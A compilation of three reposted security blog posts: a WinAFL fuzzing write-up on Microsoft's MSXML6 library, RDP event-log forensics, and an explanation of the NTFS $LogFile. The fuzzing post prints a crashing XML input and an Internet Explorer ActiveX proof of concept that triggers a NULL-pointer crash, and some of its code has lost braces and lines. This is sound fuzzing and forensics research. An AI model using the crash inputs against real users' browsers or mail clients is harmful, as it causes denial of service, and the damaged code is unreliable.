Fuzzing the MSXML6 library with WinAFL

Original text by symeonp


In this blog post, I’ll write about how I tried to fuzz the MSXML library using the WinAFL fuzzer.

If you haven’t played around with WinAFL, it’s a massive fuzzer created by Ivan Fratric based on the lcumtuf’s AFL which uses DynamoRIO to measure code coverage and the Windows API for memory and process creation. Axel Souchet has been actively contributing features such as corpus minimization, latest afl stable builds, persistent execution mode which will cover on the next blog post and the finally the afl-tmin tool.

We will start by creating a test harness which will allow us to fuzz some parsing functionality within the library, calculate the coverage, minimise the test cases and finish by kicking off the fuzzer and triage the findings. Lastly, thanks to Mitja Kolsek from 0patch for providing the patch which will see how one can use the 0patch to patch this issue!

Using the above steps, I’ve managed to find a NULL pointer dereference on the msxml6!DTD::findEntityGeneral function, which I reported to Microsoft but got rejected as this is not a security issue. Fair enough, indeed the crash is crap, yet hopefully somebody might find interesting the techniques I followed!

The Harness

While doing some research I ended up on this page which Microsoft has kindly provided a sample C++ code which allows us to feed some XML files and validate its structure. I am going to use Visual Studio 2015 to build the following program but before I do that, I am slightly going to modify it and use Ivan’s charToWChar method so as to accept an argument as a file:

// xmlvalidate_fuzz.cpp : Defines the entry point for the console application.

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#import <msxml6.dll>
extern "C" __declspec(dllexport)  int main(int argc, char** argv);

// Macro that calls a COM method returning HRESULT value.
#define CHK_HR(stmt)        do { hr=(stmt); if (FAILED(hr)) goto CleanUp; } while(0)

void dump_com_error(_com_error &e)
    _bstr_t bstrSource(e.Source());
    _bstr_t bstrDescription(e.Description());

    printf("\a\tCode = %08lx\n", e.Error());
    printf("\a\tCode meaning = %s", e.ErrorMessage());
    printf("\a\tSource = %s\n", (LPCSTR)bstrSource);
    printf("\a\tDescription = %s\n", (LPCSTR)bstrDescription);

_bstr_t validateFile(_bstr_t bstrFile)
    // Initialize objects and variables.
    MSXML2::IXMLDOMDocument2Ptr pXMLDoc;
    MSXML2::IXMLDOMParseErrorPtr pError;
    _bstr_t bstrResult = L"";
    HRESULT hr = S_OK;

    // Create a DOMDocument and set its properties.
    CHK_HR(pXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60), NULL, CLSCTX_INPROC_SERVER));

    pXMLDoc->async = VARIANT_FALSE;
    pXMLDoc->validateOnParse = VARIANT_TRUE;
    pXMLDoc->resolveExternals = VARIANT_TRUE;

    // Load and validate the specified file into the DOM.
    // And return validation results in message to the user.
    if (pXMLDoc->load(bstrFile) != VARIANT_TRUE)
        pError = pXMLDoc->parseError;

        bstrResult = _bstr_t(L"Validation failed on ") + bstrFile +
            _bstr_t(L"\n=====================") +
            _bstr_t(L"\nReason: ") + _bstr_t(pError->Getreason()) +
            _bstr_t(L"\nSource: ") + _bstr_t(pError->GetsrcText()) +
            _bstr_t(L"\nLine: ") + _bstr_t(pError->Getline()) +
        bstrResult = _bstr_t(L"Validation succeeded for ") + bstrFile +
            _bstr_t(L"\n======================\n") +
            _bstr_t(pXMLDoc->xml) + _bstr_t(L"\n");

    return bstrResult;

wchar_t* charToWChar(const char* text)
    size_t size = strlen(text) + 1;
    wchar_t* wa = new wchar_t[size];
    mbstowcs(wa, text, size);
    return wa;

int main(int argc, char** argv)
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
            _bstr_t bstrOutput = validateFile(charToWChar(argv[1]));
            MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
        catch (_com_error &e)

    return 0;


Notice also the following snippet: extern "C" __declspec(dllexport) int main(int argc, char** argv);

Essentially, this allows us to use target_method argument which DynamoRIO will try to retrieve the address for a given symbol name as seen here.

I could use the offsets method as per README, but due to ASLR and all that stuff, we want to scale a bit the fuzzing and spread the binary to many Virtual Machines and use the same commands to fuzz it. The extern "C" directive will unmangle the function name and will make it look prettier.

To confirm that indeed DynamoRIO can use this method the following command can be used:

dumpbin /EXPORTS xmlvalidate_fuzz.exe

Viewing the exported functions.

Now let’s quickly run the binary and observe the output. You should get the following output:

Output from the xmlvlidation binary.

Code Coverage


Since the library is closed source, we will be using DynamoRIO’s code coverage library feature via the WinAFL:

C:\DRIO\bin32\drrun.exe -c winafl.dll -debug -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method main -fuzz_iterations 10 -nargs 2 -- C:\xml_fuzz_initial\xmlvalidate.exe C:\xml_fuzz_initial\nn-valid.xml

WinAFL will start executing the binary ten times. Once this is done, navigate back to the winafl folder and check the log file:

Checking the coverage within WinAFL.

From the output we can see that everything appears to be running normally! On the right side of the file, the dots depict the coverage of the DLL, if you scroll down you’ll see that we did hit many function as we are getting more dots throughout the whole file. That’s a very good indication that we are hiting a lot of code and we properly targeting the MSXML6 library.

Lighthouse — Code Coverage Explorer for IDA Pro

This plugin will help us understand better which function we are hitting and give a nice overview of the coverage using IDA. It’s an excellent plugin with very good documentation and has been developed by Markus Gaasedelen (@gaasedelen) Make sure to download the latest DynamoRIO version 7, and install it as per instrcutions here. Luckily, we do have two sample test cases from the documentation, one valid and one invalid. Let’s feed the valid one and observe the coverage. To do that, run the following command:

C:\DRIO7\bin64\drrun.exe -t drcov -- xmlvalidate.exe nn-valid.xml

Next step fire up IDA, drag the msxml6.dll and make sure to fetch the symbols! Now, check if a .log file has been created and open it on IDA from the File -> Load File -> Code Coverage File(s) menu. Once the coverage file is loaded it will highlight all the functions that your test case hit.

Case minimisation

Now it’s time to grab some XML files (as small as possible). I’ve used a slightly hacked version of joxean’s find_samples.py script. Once you get a few test cases let’s minimise our initial seed files. This can be done using the following command:

python winafl-cmin.py --working-dir C:\winafl\bin32 -D C:\DRIO\bin32 -t 100000 -i C:\xml_fuzz\samples -o C:\minset_xml -coverage_module msxml6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

You might see the following output:

corpus minimization tool for WinAFL by <0vercl0k@tuxfamily.org> 
Based on WinAFL by <ifratric@google.com> 
Based on AFL by <lcamtuf@google.com> 
[+] CWD changed to C:\winafl\bin32. 
[*] Testing the target binary... 
[!] Dry-run failed, 2 executions resulted differently: 
Tuples matching? False 
Return codes matching? True

I am not quite sure but I think that the winafl-cmin.py script expects that the initial seed files lead to the same code path, that is we have to run the script one time for the valid cases and one for the invalid ones. I might be wrong though and maybe there’s a bug which in that case I need to ping Axel.

Let’s identify the ‘good’ and the ‘bad’ XML test cases using this bash script:

$ for file in *; do printf "==== FILE: $file =====\n"; /cygdrive/c/xml_fuzz/xmlvalidate.exe $file ;sleep 1; done

The following screenshot depicts my results:

Looping through the test cases with Cygwin

Feel free to expirement a bit, and see which files are causing this issue — your mileage may vary. Once you are set, run again the above command and hopefully you’ll get the following result:

Minimising our initial seed files.

So look at that! The initial campaign included 76 cases which after the minimisation it was narrowed down to 26. 
Thank you Axel!

With the minimised test cases let’s code a python script that will automate all the code coverage:

import sys
import os

testcases = []
for root, dirs, files in os.walk(".", topdown=False):
    for name in files:
        if name.endswith(".xml"):
            testcase =  os.path.abspath(os.path.join(root, name))

for testcase in testcases:
    print "[*] Running DynamoRIO for testcase: ", testcase
    os.system("C:\\DRIO7\\bin32\\drrun.exe -t drcov -- C:\\xml_fuzz\\xmlvalidate.exe %s" % testcase)

The above script produced the following output for my case:

Coverage files produced by the Lighthouse plugin.

As previously, using IDA open all those .log files under File -> Load File -> Code Coverage File(s) menu.

Code coverage using the Lighthouse plugin and IDA Pro.

Interestingly enough, notice how many parse functions do exist, and if you navigate around the coverage you’ll see that we’ve managed to hit a decent amount of interesting code.

Since we do have some decent coverage, let’s move on and finally fuzz it!

All I do is fuzz, fuzz, fuzz

Let’s kick off the fuzzer:

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method main -nargs 2 -- C:\xml_fuzz\xmlvalidate.exe @@

Running the above yields the following output:

WinAFL running with a slow speed.

As you can see, the initial code does that job — however the speed is very slow. Three executions per second will take long to give some proper results. Interestingly enough, I’ve had luck in the past and with that speed (using python and radamsa prior the afl/winafl era) had success in finding bugs and within three days of fuzzing!

Let’s try our best though and get rid of the part that slows down the fuzzing. If you’ve done some Windows programming you know that the following line initialises a COM object which could be the bottleneck of the slow speed:

HRESULT hr = CoInitialize(NULL);

This line probably is a major issue so in fact, let’s refactor the code, we are going to create a fuzzme method which is going to receive the filename as an argument outside the COM initialisation call. The refactored code should look like this:

--- cut ---

extern "C" __declspec(dllexport) _bstr_t fuzzme(wchar_t* filename);

_bstr_t fuzzme(wchar_t* filename)
    _bstr_t bstrOutput = validateFile(filename);
    //bstrOutput += validateFile(L"nn-notValid.xml");
    //MessageBoxW(NULL, bstrOutput, L"noNamespace", MB_OK);
    return bstrOutput;

int main(int argc, char** argv)
    if (argc < 2) {
        printf("Usage: %s <xml file>\n", argv[0]);
        return 0;

    HRESULT hr = CoInitialize(NULL);
    if (SUCCEEDED(hr))
            _bstr_t bstrOutput = fuzzme(charToWChar(argv[1]));
        catch (_com_error &e)
    return 0;
--- cut ---

You can grab the refactored version here. With the refactored binary let’s run one more time the fuzzer and see if we were right. This time, we will pass the fuzzme target_method instead of main, and use only one argument which is the filename. While we are here, let’s use the lcamtuf’s xml.dic from here.

afl-fuzz.exe -i C:\minset_xml -o C:\xml_results -D C:\DRIO\bin32\ -t 20000 -x xml.dict -- -coverage_module MSXML6.dll -target_module xmlvalidate.exe -target_method fuzzme -nargs 1 -- C:\xml_fuzz\xmlvalidate.exe @@

Once you’ve run that, here’s the output within a few seconds of fuzzing on a VMWare instance:

WinAFL running with a massive speed.

Brilliant! That’s much much better, now let it run and wait for crashes! 

The findings — Crash triage/analysis

Generally, I’ve tried to fuzz this binary with different test cases, however unfortunately I kept getting the NULL pointer dereference bug. The following screenshot depicts the findings after a ~ 12 days fuzzing campaign:

Fuzzing results after 12 days.

Notice that a total of 33 million executions were performed and 26 unique crashes were discovered!

In order to triage these findings, I’ve used the BugId tool from SkyLined, it’s an excellent tool which will give you a detailed report regarding the crash and the exploitability of the crash.

Here’s my python code for that:

import sys
import os


testcases = []
for root, dirs, files in os.walk(".\\fuzzer01\\crashes", topdown=False):
    for name in files:
        if name.endswith("00"):
            testcase =  os.path.abspath(os.path.join(root, name))

for testcase in testcases:
    print "[*] Gonna run: ", testcase
    os.system("C:\\python27\\python.exe C:\\BugId\\BugId.py C:\\Users\\IEUser\\Desktop\\xml_validate_results\\xmlvalidate.exe -- %s" % testcase)

The above script gives the following output:

Running cBugId to triage the crashes..

Once I ran that for all my crashes, it clearly showed that we’re hitting the same bug. To confirm, let’s fire up windbg:

0:000> g
(a6c.5c0): Access violation - code c0000005 (!!! second chance !!!)
eax=03727aa0 ebx=0012fc3c ecx=00000000 edx=00000000 esi=030f4f1c edi=00000002
eip=6f95025a esp=0012fbcc ebp=0012fbcc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
6f95025a 8b4918          mov     ecx,dword ptr [ecx+18h] ds:0023:00000018=????????
0:000> kv
ChildEBP RetAddr  Args to Child              
0012fbcc 6f9de300 03727aa0 00000002 030f4f1c msxml6!DTD::findEntityGeneral+0x5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.hxx @ 236]
0012fbe8 6f999db3 03727aa0 00000003 030c5fb0 msxml6!DTD::checkAttrEntityRef+0x14 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\dtd\dtd.cxx @ 1470]
0012fc10 6f90508f 030f4f18 0012fc3c 00000000 msxml6!GetAttributeValueCollapsing+0x43 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 771]
0012fc28 6f902d87 00000003 030f4f14 6f9051f4 msxml6!NodeFactory::FindAttributeValue+0x3c (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 743]
0012fc8c 6f8f7f0d 030c5fb0 030c3f20 01570040 msxml6!NodeFactory::CreateNode+0x124 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\parse\nodefactory.cxx @ 444]
0012fd1c 6f8f5042 010c3f20 ffffffff c4fd70d3 msxml6!XMLParser::Run+0x740 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\tokenizer\parser\xmlparser.cxx @ 1165]
0012fd58 6f8f4f93 030c3f20 c4fd7017 00000000 msxml6!Document::run+0x89 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1494]
0012fd9c 6f90a95b 030ddf58 00000000 00000000 msxml6!Document::_load+0x1f1 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 1012]
0012fdc8 6f8f6c75 037278f0 00000000 c4fd73b3 msxml6!Document::load+0xa5 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\sql\xml\msxml6\xml\om\document.cxx @ 754]
0012fe38 00401d36 00000000 00000008 00000000 msxml6!DOMDocumentWrapper::load+0x1ff (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\sql\xml\msxml6\xml\om\xmldom.cxx @ 1111]
-- cut --
Running cBugId to triage the crashes..

Let’s take a look at one of the crasher:

C:\Users\IEUser\Desktop\xml_validate_results\fuzzer01\crashes>type id_000000_00
<?xml version="&a;1.0"?>
<book xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   <author>Gambardella, Matthew</author>
   <title>XML Developer's Guide</title>
   <description>An in-depth look at creating applications with

As you can see, if we provide some garbage either on the xml version or the encoding, we will get the above crash. Mitja also minimised the case as seen below:

<?xml version='1.0' encoding='&aaa;'?>

The whole idea of fuzzing this library was based on finding a vulnerability within Internet Explorer’s context and somehow trigger it. After a bit of googling, let’s use the following PoC (crashme.html) and see if it will crash IE11:

<!DOCTYPE html>

var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
if (xmlDoc.parseError.errorCode != 0) {
   var myErr = xmlDoc.parseError;
   console.log("You have error " + myErr.reason);
} else {


Running that under Python’s SimpleHTTPServer gives the following:

Running cBugId to triage the crashes..

Bingo! As expected, at least with PageHeap enabled we are able to trigger exactly the same crash as with our harness. Be careful not to include that xml on Microsoft Outlook, because it will also crash it as well! Also, since it’s on the library itself, had it been a more sexy crash would increase the attack surface!


After exchanging a few emails with Mitja, he kindly provided me the following patch which can be applied on a fully updated x64 system:

;target platform: Windows 7 x64
RUN_CMD C:\Users\symeon\Desktop\xmlvalidate_64bit\xmlvalidate.exe C:\Users\symeon\Desktop\xmlvalidate_64bit\poc2.xml
MODULE_PATH "C:\Windows\System32\msxml6.dll"
PATCH_ID 200000
VULN_ID 9999999

 PIT msxml6.dll!0xD097D

  test rbp, rbp ;is rbp (this) NULL?
  jnz continue
  jmp PIT_0xD097D

Let’s debug and test that patch, I’ve created an account and installed the 0patch agent for developers, and continued by right clicking on the above .0pp file:

Running the crasher with the 0patch console

Once I’ve executed my harness with the xml crasher, I immediately hit the breakpoint:

Hitting the breakpoint under Windbg

From the code above, indeed rbp is null which would lead to the null pointer dereference. Since we have deployed the 0patch agent though, in fact it’s going to jump to msxml6.dll!0xD097D and avoid the crash:

Bug fully patched!

Fantastic! My next step was to fire up winafl again with the patched version which unfortunately failed. Due to the nature of 0patch (function hooking?) it does not play nice with WinAFL and it crashes it.

Nevertheless, this is a sort of “DoS 0day” and as I mentioned earlier I reported it to Microsoft back in June 2017 and after twenty days I got the following email:

MSRC Response!

I totally agree with that decision, however I was mostly interested in patching the annoying bug so I can move on with my fuzzing :o) 
After spending a few hours on the debugger, the only “controllable” user input would be the length of the encoding string:

eax=03052660 ebx=0012fc3c ecx=00000011 edx=00000020 esi=03054f24 edi=00000002
eip=6f80e616 esp=0012fbd4 ebp=0012fbe4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
6f80e616 e8e7e6f9ff      call    msxml6!Name::create (6f7acd02)
0:000> dds esp L3
0012fbd4  00000000
0012fbd8  03064ff8
0012fbdc  00000003

0:000> dc 03064ff8 L4
03064ff8  00610061 00000061 ???????? ????????  a.a.a...????????

The above unicode string is in fact our entity from the test case, where the number 3 is the length aparently (and the signature of the function: Name *__stdcall Name::create(String *pS, const wchar_t *pch, int iLen, Atom *pAtomURN))


As you can see, spending some time on Microsoft’s APIs/documentation can be gold! Moreover, refactoring some basic functions and pinpointing the issues that affect the performance can also lead to massive improvements!

On that note I can’t thank enough Ivan for porting the afl to Windows and creating this amazing project. Moreover thanks to Axel as well who’s been actively contributing and adding amazing features.

Shouts to my colleague Javier (we all have one of those heap junkie friends, right?) for motivating me to write this blog, Richard who’s been answering my silly questions and helping me all this time, Mitja from the 0patch team for building this patch and finally Patroklo for teaching me a few tricks about fuzzing a few years ago!


Evolutionary Kernel Fuzzing-BH2017-rjohnson-FINAL.pdf
Super Awesome Fuzzing, Part One


RDP Event Log DFIR

Original text by grayfold3d

A good detection technique to spot Remote Desktop Connections that are exposed to the internet is to scan RDP event logs for any events where the source IP is a non-RFC 1918 address. This provides you a good way to check for locations that may be port forwarding RDP, like work from home users.

During a recent investigation involving Remote Desktop Connections, I discovered some behavior that limited this search functionality and was contrary to what I’d observed in previous cases and seen documented in other blogs. I’ve done some testing over the last few days and thought I’d pass along what I’d found. 

Prior Observations

I refer to the following two sources whenever I need a refresher on RDP logging. They both do a great job of explaining what gets logged at the various stages of an RDP connection: Login, Logoff, Disconnect, Reconnect, etc.

During previous investigations, I’d observed Event ID 1149 in the TerminalServices-RemoteConnectionManager/Operational log occurring as soon as an RDP connection was established. This event was logged prior to credentials being entered during the login process and my interpretation was that this indicated that the RDP client has connected to the RDP host successfully. It did not indicate that a login had successfully occurred. 
This made Event ID 1149 very valuable as it gave you the means to spot failed logins or brute force login attempts even if auditing of failed logins was not enabled. As mentioned above, the presence of a non-RFC 1918 address in one of these logs is a good indicator that that device has been in a location with RDP exposed to the internet.

Event ID 1149 was followed by a series of other events which varied depending on whether a previous session was being reconnected and whether the authentication was successful.

During successful authentication, you observe Event ID 4624 in the Windows Security log. Note there is a 4624 event where the “Logon Type” is 3. This occurs because this connection is using Network Level Authentication. This will be followed by another 4624 Event with logon type 10 (or 7 for reconnects). (*Thanks to @securitycatnip for catching an error in the original post.)

Event ID 21 and 22 (new connections) are logged in the TerminalServices-LocalSessionManager/Operational log.

For failed logins, Event ID 1149 would be followed by Event ID 4625 in the Windows Security Log.

An important point is that Event ID 4625 ( for login failures) is not logged by default in desktop operating systems like Windows 7, 8, and 10.

Current Observations

During a recent investigation, I noticed that Event ID 1149 was not being logged when the login was unsuccessful. This was observed when connecting to a Windows 10 device. If the login succeeded, the 1149 event was logged as seen previously. In both cases, Event ID 261 is logged in the TS RemoteConnectionManager/Operational log but unfortunately, this doesn’t give us any information on who was attempting to connect.

After performing some additional testing and reviewing notes from previous cases, I’ve found the following. Please note, not all Operating Systems or OS versions are accounted for here as I tested what I had available.

Event ID 1149 was not logged prior to successful authentication and only occurs if authentication is successful on the following Operating Systems:

  • Windows Server 2012
  • Windows Server 2016
  • Windows 7
  • Windows 8.1
  • Windows 10 (version 1803)

Event ID 1149 was logged prior to successful authentication on the following Operating Systems:

  • Windows Server 2008
  • Windows SBS Server 2011

Additional Log Sources

I performed a timeline of the Event Logs after a series of failed and successful RDP connections to see if anything else was logged that might be helpful in identifying failed RDP login attempts. I discovered that the RemoteDesktopServices-RdpCoreTS/Operational log does log Event ID 131 when the RDP connection is first established. This occurs prior to authentication like Event ID 1149 did previously and while there is no workstation name or user account associated with this log entry, it does provide the connecting IP. Unfortunately, this log channel does not exist in Windows 7.

I touched on Network Level Authentication above when discussing the “Logon Type” field recorded in the Security log. NLA requires the client to authenticate before connecting to the host. An easy way to tell if NLA is disabled is that when connecting to a host, you see the login screen of that device before entering credentials. This allows an attacker to see who is currently logged in, other user accounts on the PC and the domain name.

NLA really should be enabled on most devices but if it is not, you can find an additional event in the TerminalServices-RemoteConnectionManager/Admin log. Event ID 1158 will also display the source IP. While this log is available in Windows 7, I was not able to generate Event ID 1158 when connecting to a Windows 7 PC without NLA.


One final tip. If you’re doing any RDP testing and want to force your client to connect without NLA, you can do so by editing the RDP connection file. To do so, save the .RDP file and open it in notepad or another text editior. Paste the following line anywhere in the file:

If you’ve got any feedback, feel free to share. I’m still on the lookout for a good way to identify brute force RDP attempts on default Windows 7 configurations so if you’ve got any thoughts on that, let me know.

How the $LogFile works?

Original text by MSUHANOV

In the official NTFS implementation, all metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called write-ahead logging.

The logged metadata is stored in a file called “$LogFile”, which is found in a root directory of an NTFS file system.

Currently, there is no much documentation for this file available. Most sources are either too high-level (describing the logging and recovery processes in general) or just contain the layout of key structures without further description.

The process of metadata logging is based on two components: the log file service (LFS) and the NTFS client of the LFS (both are implemented as a part of the NTFS driver).

The LFS provides an interface for its clients to store a buffer in a circular (“infinite”) area of a log file and to read such buffers from that log file. In particular, the following simplified types of actions are supported:

  • store a buffer (client data) as a log record, return its log sequence number (LSN);
  • store a buffer (client data) as a restart area, return its LSN;
  • if a log file is full, raise an exception for a client;
  • mark previously stored data as unused;
  • given an LSN, locate a stored buffer (client data) and return it;
  • given an LSN, find a next LSN for the same client and return it (forward search);
  • given an LSN, find a previous LSN for the same client and return it (backward search).

As you can see, the LFS is the data management layer for the NTFS logging component, the LFS doesn’t do the actual logging of metadata operations. Each buffer received from a client is opaque to the LFS (the LFS is only aware of a type of this buffer: whether it’s a log record or a client restart area).

The actual logging (and recovery) is implemented as a part of the NTFS client of the LFS. Each buffer sent from this component to the LFS contains something related to a transaction. Here, a transaction is a set of metadata changes necessary to complete a specific high-level operation.

For example, the following metadata changes are combined as a transaction when a file is renamed:

  1. delete an index entry (with an old file name) for a target file from a file name index within a parent directory;
  2. delete the $FILE_NAME attribute (with an old file name) from a target file record;
  3. create the $FILE_NAME attribute (with a new file name) in a target file record;
  4. add an index entry (with a new file name) for a target file in a file name index within a parent directory.

If all of these changes were applied to a volume successfully, then the transaction is marked as forgotten.

But before we get to the format of metadata changes used by the NTFS client, we need to dissect on-disk structures of the LFS.

First of all, since each client buffer stored in a log file is identified by an LSN, it’s important to understand how these LSNs are generated by the LFS.

Each LSN is a 64-bit number containing the following components: a sequence number and an offset. An offset is stored in the lower part of an LSN, its value is a number of 8-byte increments from the beginning of a log file. This offset points to an LFS structure containing a client buffer and related metadata, this structure is called an LFS record. A sequence number is stored in the higher part, it’s a value from a counter which is incremented when a log file is wrapped (when a new structure is written to the beginning of the circular area, not to the end of this area).

The number of bits reserved for the sequence number part of an LSN is variable, it depends on the size of a log file (and it’s recorded in it).

For example, if 44 bits are reserved for the sequence number part and the LSN is 2124332, then the sequence number is 2 and the offset is 27180 8-byte increments (217440 bytes).

The LSNs have an important property: they are always increasing. An LSN for a new entry is always greater than an LSN for an older entry (technically, these numbers can overflow, but they won’t, because it’s practically impossible to reach the 64-bit limit).

An LFS record is a structure containing a header and client data. The following data is stored in the LFS record header: an LSN for this record, a previous LSN for the same client, an LSN for the undo operation for the same client, a client ID, a transaction ID, a record type (a log record or a client restart area), length of client data, various flags. Many values mentioned before are specified by the client.

LFS records are written to LFS record pages. Each LFS record page is 4096 bytes in size (it’s equal to the page size), it contains a header (the first four bytes are “RCRD”) and one or more LFS records. Since client data can be large, two or more adjacent LFS record pages may be required to store one LFS record (thus, an LFS record can be larger than an LFS record page; only the first segment has the LFS record header).

Each LFS record page is protected by an update sequence array, which is used to detect failed (torn) writes. Here is a description of the protection process (source):

The update sequence array consists of an array of nUSHORT values, where n is the size of the structure being protected divided by the sequence number stride. The first word contains the update sequence number, which is a cyclical counter of the number of times the containing structure has been written to disk. Next are the n saved USHORT values that were overwritten by the update sequence number the last time the containing structure was written to disk.

Each time the protected structure is about to be written to disk, the last word in each sequence number stride is saved to its respective position in the sequence number array, then it is overwritten with the next update sequence number. After the write, or whenever the structure is read, the saved word from the sequence number array is restored to its actual position in the structure. Before restoring the saved words on reads, all the sequence numbers at the end of each stride are compared with the actual sequence number at the start of the array. If any of these comparisons are not equal, then a failed multisector transfer has been detected.

(It should be noted that the stride is 512 bytes, even if an underlying drive has a larger sector size. Also, the size of an update sequence array isn’t n, but n+1.)

Here is the layout of a typical LFS record page:


Here is the layout of two LFS record pages containing a large LFS record:


Finally, the circular (“infinite”) area of a log file consists of many LFS record pages. As described before, LFS records written to a log file can wrap, so a large LFS record starting in the last LFS record page also hits the first LFS record page of the circular area.


When writing a new LFS record into a current LFS record page, existing LFS records in this page can be lost because of a torn write or a system crash. Thus, data that was successfully stored before can be lost because of a new write.

In order to protect against such scenarios, a special area exists in a log file. It’s located before the circular area.

In the version 1.1 of the LFS, a special area consists of two pages, which are used to store two copies of a current LFS record page. Before putting a new LFS record into a current LFS record page, this page is stored in the special area (the first copy). After putting a new LFS record into a current LFS record page, the modified page is also written to the special area (the second copy, the first copy isn’t overwritten by the second one).

If a torn write or a system crash occurs when writing the second copy,  the first copy (without a new LFS record) will be available for the recovery. If everything is okay and the LFS needs the special area for a new update, then the second copy is written to the circular area of a log file (and the special area becomes available for a new update).

These two copies of a current LFS record page are called tail copies (because they always represent the latest LFS record page to be written to the circular area). The latest tail copy isn’t moved to the circular area immediately. So, in order to get a full set of LFS record pages during the recovery, the LFS should apply the latest tail page (or the valid one, if another tail page is invalid) to the circular area.

In the version 2.0 of the LFS, a special area consists of 32 pages. When the LFS needs to put a new LFS record into a current LFS record page or when the LFS prepares a new LFS record page with a single LFS record, the updated page (containing a new LFS record) or the new page is simply written to the special area (to an unused page).

If a torn write or a system crash occurs when writing that page, an older version of the same page from the special area is used. Occasionally, LFS record pages with latest data are moved to the circular area (and corresponding pages in the special area are marked as unused).

I don’t know how LFS record pages in this special area are called. I call them fast pages.

The new version of the LFS requires less writes by reducing the number of page transfers to the circular area. It should be noted that the version of a log file is downgraded to 1.1 during the clean shutdown by default (so an NTFS file system can be mounted using a previous version of Windows).

Also, Microsoft is going to release the version 3.0 of the LFS. This version will be used on DAX volumes. When a log file is mapped in the DAX mode, integrity of its pages is going to be protected using the CRC32 checksum (and there would be no update sequence arrays, because they won’t work well with byte-addressable memory). This will make things faster (no paging writes).

Finally, a log file begins with two restart pages, each one is 4096 bytes in size (again, it’s the page size; the first four bytes for each page are “RSTR”). These pages are also protected with update sequence arrays.

A restart page contains the LFS version number, a page size, and a restart area (not to be confused with a client restart area).

A restart area is a structure containing the latest LSN used (at the time when this structure was written), the number of clients of the LFS, the list of clients of the LFS, the number of bits used for the sequence number part of every LSN, as well as some data for sanity checks and forward compatibility (an offset of the first LFS record within an LFS record page, which is also an offset of the continuation of client data from a previous LFS record page, and a size of an LFS record header; both offsets allow unsupported fields to be ignored in LFS record pages and in LFS records).

A list of clients is composed of client records. A client record contains the oldest LSN required by this client, the LSN of the latest client restart area, the name of this client (as well as other information about this client). Currently, the only client is called “NTFS”.

Two restart pages provide reliability against a possible failure (a torn write or a system crash). These pages aren’t necessary synchronized.

Here is the generic layout of a log file:


When the LFS is asked to provide initial data for its client, it will read and return the latest client restart area according to an LSN recorded in the appropriate client record. (Later, during the logging operation, the LFS won’t touch the oldest LFS record required by each client.)

A client receives its latest restart area, interprets it (remember that the LFS is unaware of the client data format), and decides what actions (if any) must be taken. If a log record is needed, then a client asks the LFS to provide this record (as a buffer) by its LSN.

The NTFS client tells the LFS to write a client restart area at the end of the checkpoint operation. During a checkpoint, the NTFS client writes a set of log records containing data about current transactions followed by a restart area, which points to every piece of that data (using LSNs). During the recovery, the NTFS client uses this data to decide which transactions are committed and which aren’t: committed transaction must be performed again using their redo data (there is a chance that this data didn’t hit the volume), while uncommitted transaction must be rolled back using their undo data.

And now we can take a look at the format of client data!

There are three versions of the NTFS client data format: 0.0, 1.0, and 2.0.

The last one seems to be under development, because it’s not enabled yet. This new version removes redundant open attribute table dumps and attribute names dumps, which were previously made during a checkpoint (the same data can be reconstructed from log records, so there is no reason to waste the space and link these dumps to a client restart area).

Currently, only the first two versions are used: 0.0 and 1.0. There are no significant differences between them. The most notable difference, although not a really significant one, is the format of open attribute entries.

A client restart area contains major and minor version numbers of the NTFS client data format used, an LSN to be used as a starting point for the analysis pass (when the NTFS driver builds a table of transactions and a table of dirty data ranges). Also, a client restart area contains LSNs for a transaction table dumped to a log file from memory (this table can be absent as well), an open attribute table dumped to a log file from memory, a list of attribute names dumped to a log file from memory, and a dirty page table dumped to a log file from memory (which is used to track dirty data ranges).

An open attribute table and a list of attribute names reference a nonresident attribute opened for a log operation. An entry from an open attribute table contains an $MFT reference number for a file record which nonresident attribute has been opened and a type code of this attribute (e.g, $DATA). An entry from a list of attribute names contains a Unicode name of a nonresident attribute opened along with an index of a corresponding entry in the open attribute table.

And a log record written during an operation on a nonresident attribute contains an index of a target attribute in the open attribute table. Based on this information (an $MFT file reference, an attribute code, and an attribute name), it’s possible to locate a target attribute. Also, a log record contains an offset within a target attribute at which new data is going to be written.

It should be noted that no table referenced by a client restart area is in the up-to-date state. New items from log records after the client restart area should be accounted in these tables.

